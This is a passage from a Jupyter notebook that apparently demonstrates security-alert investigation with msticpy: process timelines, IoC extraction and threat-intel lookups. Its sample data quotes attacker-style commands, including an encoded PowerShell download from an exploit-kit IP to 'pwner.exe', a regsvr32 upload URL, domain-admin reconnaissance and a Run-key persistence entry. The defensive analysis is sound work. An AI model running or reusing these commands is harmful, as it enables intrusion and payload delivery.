INLINE\\n\"+\n     \"output_notebook(resources=INLINE)\\n\"+\n     \"</code>\\n\"+\n     \"</div>\"}};\n\n  function display_loaded() {\n    var el = document.getElementById(\"2611\");\n    if (el != null) {\n      el.textContent = \"BokehJS is loading...\";\n    }\n    if (root.Bokeh !== undefined) {\n      if (el != null) {\n        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n      }\n    } else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(display_loaded, 100)\n    }\n  }\n\n\n  function run_callbacks() {\n    try {\n      root._bokeh_onload_callbacks.forEach(function(callback) {\n        if (callback != null)\n          callback();\n      });\n    } finally {\n      delete root._bokeh_onload_callbacks\n    }\n    console.debug(\"Bokeh: all callbacks have finished\");\n  }\n\n  function load_libs(css_urls, js_urls, callback) {\n    if (css_urls == null) css_urls = [];\n    if (js_urls == null) js_urls = [];\n\n    root._bokeh_onload_callbacks.push(callback);\n    if (root._bokeh_is_loading > 0) {\n      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n      return null;\n    }\n    if (js_urls == null || js_urls.length === 0) {\n      run_callbacks();\n      return null;\n    }\n    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n    root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n    function on_load() {\n      root._bokeh_is_loading--;\n      if (root._bokeh_is_loading === 0) {\n        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n        run_callbacks()\n      }\n    }\n\n    function on_error() {\n      console.error(\"failed to load \" + url);\n    }\n\n    for (var i = 0; i < css_urls.length; i++) {\n      var url = css_urls[i];\n      const element = document.createElement(\"link\");\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.rel = \"stylesheet\";\n      element.type = \"text/css\";\n      element.href = url;\n      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n      document.body.appendChild(element);\n    }\n\n    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n    for (var i = 0; i < js_urls.length; i++) {\n      var url = js_urls[i];\n      var element = document.createElement('script');\n      element.onload = on_load;\n      element.onerror = on_error;\n      element.async = false;\n      element.src = url;\n      if (url in hashes) {\n        element.crossOrigin = \"anonymous\";\n        element.integrity = \"sha384-\" + hashes[url];\n      }\n      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n      document.head.appendChild(element);\n    }\n  };\n\n  function inject_raw_css(css) {\n    const element = document.createElement(\"style\");\n    element.appendChild(document.createTextNode(css));\n    document.body.appendChild(element);\n  }\n\n  \n  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n  var css_urls = [];\n  \n\n  var inline_js = [\n    function(Bokeh) {\n      Bokeh.set_log_level(\"info\");\n    },\n    function(Bokeh) {\n    \n    \n    }\n  ];\n\n  function run_inline_js() {\n    \n    if (root.Bokeh !== undefined || force === true) {\n      \n    for (var i = 0; i < inline_js.length; i++) {\n      inline_js[i].call(root, root.Bokeh);\n    }\n    if (force === true) {\n        display_loaded();\n      }} else if (Date.now() < root._bokeh_timeout) {\n      setTimeout(run_inline_js, 100);\n    } else if (!root._bokeh_failed_load) {\n      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n      root._bokeh_failed_load = true;\n    } else if (force !== true) {\n      var cell = $(document.getElementById(\"2611\")).parents('.cell').data().cell;\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n    }\n\n  }\n\n  if (root._bokeh_is_loading === 0) {\n    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n    run_inline_js();\n  } else {\n    load_libs(css_urls, js_urls, function() {\n      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n      run_inline_js();\n    });\n  }\n}(window));",
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"c0211239-d4d0-4c4b-a2b9-ae5b232e401a\" data-root-id=\"2614\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": "(function(root) {\n  function embed_document(root) {\n    \n  var docs_json = {\"01eedd46-56b0-4b2d-91a5-9107b1292fab\":{\"roots\":{\"references\":[{\"attributes\":{\"below\":[{\"id\":\"2625\"}],\"center\":[{\"id\":\"2628\"},{\"id\":\"2632\"},{\"id\":\"2687\"}],\"left\":[{\"id\":\"2629\"}],\"min_border_left\":50,\"plot_height\":150,\"plot_width\":900,\"renderers\":[{\"id\":\"2680\"},{\"id\":\"2685\"}],\"title\":{\"id\":\"2615\"},\"toolbar\":{\"id\":\"2639\"},\"x_range\":{\"id\":\"2617\"},\"x_scale\":{\"id\":\"2621\"},\"y_range\":{\"id\":\"2619\"},\"y_scale\":{\"id\":\"2623\"}},\"id\":\"2614\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"2703\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"overlay\":{\"id\":\"2638\"}},\"id\":\"2634\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"background_fill_alpha\":0.5,\"background_fill_color\":\"white\",\"border_line_color\":\"red\",\"render_mode\":\"css\",\"text\":\"< Alert time\",\"text_font_size\":\"8pt\",\"x\":1550203402000.0,\"y\":0,\"y_offset\":10},\"id\":\"2687\",\"type\":\"Label\"},{\"attributes\":{\"data_source\":{\"id\":\"2612\"},\"glyph\":{\"id\":\"2678\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2679\"},\"selection_glyph\":null,\"view\":{\"id\":\"2681\"}},\"id\":\"2680\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2707\",\"type\":\"Selection\"},{\"attributes\":{\"text\":\"Timeline: Alert Process Session\"},\"id\":\"2615\",\"type\":\"Title\"},{\"attributes\":{\"end\":1550145099244.6,\"start\":1550145097545.4001},\"id\":\"2617\",\"type\":\"Range1d\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"red\",\"line_dash\":[6],\"line_width\":2,\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2684\",\"type\":\"Line\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"2699\",\"type\":\"DaysTicker\"},{\"attributes\":{\"source\":{\"id\":\"2612\"}},\"id\":\"2681\",\"type\":\"CDSView\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2700\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2675\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"data\":{\"x\":[1550203402000.0,1550203402000.0],\"y\":[0,1]},\"selected\":{\"id\":\"2707\"},\"selection_policy\":{\"id\":\"2708\"}},\"id\":\"2682\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2690\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"2682\"},\"glyph\":{\"id\":\"2683\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2684\"},\"selection_glyph\":null,\"view\":{\"id\":\"2686\"}},\"id\":\"2685\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"line_color\":\"red\",\"line_dash\":[6],\"line_width\":2,\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"2683\",\"type\":\"Line\"},{\"attributes\":{\"axis_label\":\"Event Time\",\"formatter\":{\"id\":\"2675\"},\"ticker\":{\"id\":\"2626\"}},\"id\":\"2625\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"@TimeGenerated\":\"datetime\"},\"tooltips\":[[\"CommandLine\",\"@CommandLine\"],[\"EventID\",\"@EventID\"],[\"NewProcessName\",\"@NewProcessName\"],[\"TimeGenerated\",\"@TimeGenerated{%F %T.%3N}\"]]},\"id\":\"2613\",\"type\":\"HoverTool\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2693\"},{\"id\":\"2694\"},{\"id\":\"2695\"},{\"id\":\"2696\"},{\"id\":\"2697\"},{\"id\":\"2698\"},{\"id\":\"2699\"},{\"id\":\"2700\"},{\"id\":\"2701\"},{\"id\":\"2702\"},{\"id\":\"2703\"},{\"id\":\"2704\"}]},\"id\":\"2626\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\".\\\\regsvr32  /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\\n\\\"http://www.401k.com/upload?pass=34592389\\\" post\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd  /c echo Begin Security Demo tasks\",\"cmd  /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd  /c echo timb@microsoft.com;\\nianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe\\nzip archive.mdb\",\"tasklist\",\"net  localgroup Administrators\",\"whoami\",\"hostname\",\"netstat  -an\",\"net  user Bob1 /domain\",\"net  user BobX /domain\",\"net  group \\\"Domain Admins\\\" /domain\",\".\\\\reg.exe  add\\n\\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run /v abadvalue\",\"cmd  /c echo End Security Demo tasks\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd\\nc:\\\\W!ndows\\\\System32 3\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\W!ndows\\\\System32\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\rundll32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\whoami.exe\",\"C:\\\\Windows\\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\W!ndows\\\\System32\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ALAwkb2OdkIAEP6QvY52QgBQGJG9jnZCAJAZkb2OdkIAkBqRvY52QgAgI5G9jnZCAKA0kb2OdkIAAD6RvY52QgCQQZG9jnZCADBDkb2OdkIAcESRvY52QgCgTZG9jnZCALBPkb2OdkIAkFGRvY52QgCwVJG9jnZCAPBVkb2OdkIAcP2QvY52Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[17]},\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],\"y_index\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]},\"selected\":{\"id\":\"2705\"},\"selection_policy\":{\"id\":\"2706\"}},\"id\":\"2612\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2701\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"2619\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"2629\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"2632\",\"type\":\"Grid\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2695\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2697\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"2706\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2633\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2694\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"2698\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2679\",\"type\":\"Diamond\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"2702\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2613\"},{\"id\":\"2633\"},{\"id\":\"2634\"},{\"id\":\"2635\"},{\"id\":\"2636\"},{\"id\":\"2637\"}]},\"id\":\"2639\",\"type\":\"Toolbar\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2637\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"2630\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2623\",\"type\":\"LinearScale\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2696\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2638\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"source\":{\"id\":\"2682\"}},\"id\":\"2686\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"2635\",\"type\":\"ResetTool\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2693\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"axis\":{\"id\":\"2625\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"2628\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2636\",\"type\":\"SaveTool\"},{\"attributes\":{},\"id\":\"2708\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2621\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"2690\"},\"ticker\":{\"id\":\"2630\"},\"visible\":false},\"id\":\"2629\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2705\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2704\",\"type\":\"YearsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2678\",\"type\":\"Diamond\"}],\"root_ids\":[\"2614\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n  var render_items = [{\"docid\":\"01eedd46-56b0-4b2d-91a5-9107b1292fab\",\"root_ids\":[\"2614\"],\"roots\":{\"2614\":\"c0211239-d4d0-4c4b-a2b9-ae5b232e401a\"}}];\n  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n\n  }\n  if (root.Bokeh !== undefined) {\n    embed_document(root);\n  } else {\n    var attempts = 0;\n    var timer = setInterval(function(root) {\n      if (root.Bokeh !== undefined) {\n        clearInterval(timer);\n        embed_document(root);\n      } else {\n        attempts++;\n        if (attempts > 100) {\n          clearInterval(timer);\n          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n        }\n      }\n    }, 10, root)\n  }\n})(window);",
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "2614"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>IoCs found in commandlines</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "      <th>Input</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>dns</td>\n",
       "      <td>www.401k.com</td>\n",
       "      <td>0</td>\n",
       "      <td>.\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>url</td>\n",
       "      <td>http://www.401k.com/upload?pass=34592389</td>\n",
       "      <td>0</td>\n",
       "      <td>.\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>2</th>\n",
       "      <td>dns</td>\n",
       "      <td>microsoft.com</td>\n",
       "      <td>4</td>\n",
       "      <td>cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "  IoCType                                Observable  SourceIndex  \\\n",
       "0     dns                              www.401k.com            0   \n",
       "1     url  http://www.401k.com/upload?pass=34592389            0   \n",
       "2     dns                             microsoft.com            4   \n",
       "\n",
       "                                                                                          Input  \n",
       "0  .\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post  \n",
       "1  .\\regsvr32  /u /s c:\\windows\\fonts\\csrss.exe \"http://www.401k.com/upload?pass=34592389\" post  \n",
       "2                 cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com  "
      ]
     },
     "execution_count": 13,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "from msticpy.nbtools import process_tree\n",
    "utils.md(\"Process tree for alert process.\", \"bold, large\")\n",
    "process_tree.build_and_show_process_tree(data=process_df, legend_col=\"Account\")\n",
    "utils.md(\"Interactive event timeline view\", \"bold, large\")\n",
    "nbdisplay.display_timeline(data=process_df, alert=selected_alert,\n",
    "                           title='Alert Process Session', height=150, range_tool=False)\n",
    "utils.md(\"IoCs found in commandlines\", \"bold, large\")\n",
    "IoCExtract().extract(data=process_df, columns=['CommandLine'],\n",
    "                     ioc_types=['ipv4', 'ipv6', 'dns', 'url', 'md5_hash', 'sha1_hash', 'sha256_hash'])"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "slideshow": {
     "slide_type": "slide"
    }
   },
   "source": [
    "# Investigating obfuscated commands\n",
    "\n",
    "\n",
    "<br><span style=\"font-family:monospace; font-size:x-large; overflow-wrap: break-word\">\n",
    "powershell.exe  -nop -w hidden -encodedcommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovLzM4Ljc1LjEzNy45OjkwODgvc3RhdGljL2VuY3J5cHQubWluLmpzIiAtT3V0RmlsZSAiYzpccHduZXIuZXhlIg==</span>\n",
    "\n",
    "#### A common attacker technique for disguising their intent"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {
    "ExecuteTime": {
     "end_time": "2020-08-25T19:15:17.293887Z",
     "start_time": "2020-08-25T19:15:15.205890Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>Encoded command</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "powershell.exe  -nop -w hidden -encodedcommand SW52b2tlLVdlYlJlc\n",
      "XVlc3QgLVVyaSAiaHR0cDovLzM4Ljc1LjEzNy45OjkwODgvc3RhdGljL2VuY3J5cHQubWluLmpzIiAtT3V0RmlsZSAiYzpccHduZXIuZXhlIg==\n",
      "--------------------------------------------------------------------------------\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>Decoded command</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "powershell.exe  -nop -w hidden -encodedcommand <decoded type='string' name='[None]' index='1' depth='1'>Invoke-WebRequest -Uri \"http://38.75.137.9:9088/static/encrypt.min.js\" -OutFile \"c:\\pwner.exe\"</decoded>\n",
      "--------------------------------------------------------------------------------\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>IoCs Found</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "ipv4 {'38.75.137.9'}\n",
      "url {'http://38.75.137.9:9088/static/encrypt.min.js'}\n",
      "windows_path {'c:\\\\pwner.exe'}\n",
      "linux_path {'//38.75.137.9:9088', '/decoded', '/static/encrypt.min.js\"'}\n",
      "--------------------------------------------------------------------------------\n"
     ]
    },
    {
     "data": {
      "text/html": [
       "<p style='font-weight: bold;font-size: 130%'>Threat Intel results</p>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n",
      "Looking up ipv4s...38.75.137.9"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Ioc</th>\n",
       "      <th>Details</th>\n",
       "      <th>Severity</th>\n",
       "      <th>RawResult</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>OTX</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>{'pulse_count': 3, 'names': ['Underminer.EK - Exploit Kit IOC Feed', 'Underminer.EK - Exploit Ki...</td>\n",
       "      <td>2</td>\n",
       "      <td>{'sections': ['general', 'geo', 'reputation', 'url_list', 'passive_dns', 'malware', 'nids_list',...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VirusTotal</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>{'verbose_msg': 'IP address in dataset', 'response_code': 1, 'detected_urls': ['http://38.75.137...</td>\n",
       "      <td>2</td>\n",
       "      <td>{'undetected_downloaded_samples': [{'date': '2019-05-21 00:09:53', 'positives': 0, 'total': 74, ...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>XForce</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>{'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...</td>\n",
       "      <td>1</td>\n",
       "      <td>{'ip': '38.75.137.9', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional In...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>AzSTI</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OPR</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>IoC type ipv4 not supported.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Tor</th>\n",
       "      <td>38.75.137.9</td>\n",
       "      <td>Not found.</td>\n",
       "      <td>0</td>\n",
       "      <td>None</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "                    Ioc  \\\n",
       "OTX         38.75.137.9   \n",
       "VirusTotal  38.75.137.9   \n",
       "XForce      38.75.137.9   \n",
       "AzSTI       38.75.137.9   \n",
       "OPR         38.75.137.9   \n",
       "Tor         38.75.137.9   \n",
       "\n",
       "                                                                                                        Details  \\\n",
       "OTX         {'pulse_count': 3, 'names': ['Underminer.EK - Exploit Kit IOC Feed', 'Underminer.EK - Exploit Ki...   \n",
       "VirusTotal  {'verbose_msg': 'IP address in dataset', 'response_code': 1, 'detected_urls': ['http://38.75.137...   \n",
       "XForce      {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're...   \n",
       "AzSTI                                                                                                Not found.   \n",
       "OPR                                                                                IoC type ipv4 not supported.   \n",
       "Tor                                                                                                  Not found.   \n",
       "\n",
       "           Severity  \\\n",
       "OTX               2   \n",
       "VirusTotal        2   \n",
       "XForce            1   \n",
       "AzSTI             0   \n",
       "OPR               0   \n",
       "Tor               0   \n",
       "\n",
       "                                                                                                      RawResult  \n",
       "OTX         {'sections': ['general', 'geo', 'reputation', 'url_list', 'passive_dns', 'malware', 'nids_list',...  \n",
       "VirusTotal  {'undetected_downloaded_samples': [{'date': '2019-05-21 00:09:53', 'positives': 0, 'total': 74, ...  \n",
       "XForce      {'ip': '38.75.137.9', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional In...  \n",
       "AzSTI                                                                                                      None  \n",
       "OPR                                                                                                        None  \n",
       "Tor                                                                                                        None  "
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n",
      "Looking up urls...http://38.75.137.9:9088/static/encrypt.min.js"
     ]
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Ioc</th>\n",
       "      <th>Details</th>\n",
       "      <th>Severity</th>\n",
       "      <th>RawResult</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>OTX</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>{'pulse_count': 3, 'names': ['Underminer EK', 'Exploit kits', 'Exploit kits: summer 2019 review'...</td>\n",
       "      <td>2</td>\n",
       "      <td>{'indicator': 'http://38.75.137.9:9088/static/encrypt.min.js', 'alexa': '', 'whois': '', 'sectio...</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>VirusTotal</th>\n",
       "      <td>http://38.75.137.9:9088/static/encrypt.min.js</td>\n",
       "      <td>Request forbidden. Allowed query rate may have been exceeded.</td>\n",
       "      <td>0</td>\n",
